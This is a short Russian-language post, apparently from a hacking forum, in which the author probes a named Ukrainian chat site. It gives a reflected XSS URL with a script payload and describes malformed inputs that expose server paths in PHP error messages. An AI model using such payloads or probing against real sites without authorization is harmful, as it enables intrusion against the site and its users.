пока нашёл бесперспективную XSS:

http://chat.cable-tv.sumy.ua/private.php?mid=e3df0479c8ea&c=2&to_name=%3Cscript %3Ealert()%3C/script%3E

бесперспективную, потому что mid генерируется, надо вставлять свой...
ну там есть ошибки, например, если значение "с" поменять с двойки на тройку, то:

Warning: file(data/users/ _cnf.php): failed to open stream: No such file or directory in /home/www/spchat/c_config.php on line 342
Warning: Variable passed to each() is not an array or object in /home/www/spchat/c_config.php on line 344
Warning: file(data/users/ _prv.php): failed to open stream: No such file or directory in /home/www/spchat/c_config.php on line 365

Если зарегистрировать имя из очень большого кол-ва букв, то создаются файлы:
1000знаков_cnf.php и 1000знаков_prv.php , а таких файлов сервак боицуть... и выдаёт ошибки

Warning: fopen(data/users/dfghdfghdfghdghdfghdfghdfghdfghdfghdfghdfghdfghDFG HDfghdfgHDfghDFGHdfGHdfghDFGHDfghdfgHDfghDFGHDFghd fghDFGHDFghDFghdfghdFghdfghDFghdfghDFghDFghDFghDFg hDFGHdfghdfghDFghdFghdfghDFghdfghdfghdfhsdgsdgfsdf hgdfghdfghdghdfghdfhfghdghdfghdfghdfghdfghdghdfghd fghdfghdfghdfghdfghdfghdfghDFGHDfghdfgHDfghDFGHdfG HdfghDFGHDfghdfgHDfghDFGHDFghdfghDFGHDFghDFghdfghd FghdfghDFghdfghDFghDFghDFghDFghDFGHdfghdfghDFghdFg hdfghDFghdfghdfghdfhsdgsdgfsdfhgdfghdfghdghdfghdfh fghdghdfgh_cnf.php): failed to open stream: File name too long in /home/www/spchat/reg.php on line 113
Warning: fputs(): supplied argument is not a valid stream resource in /home/www/spchat/reg.php on line 114
failed to open stream: File name too long in /home/www/spchat/reg.php on line 113

..........ещё десяток ошибок.............
Вы успешно прошли регистрацию!

и чё это нам даёт? - ни уя ))
ща посмотрим далее...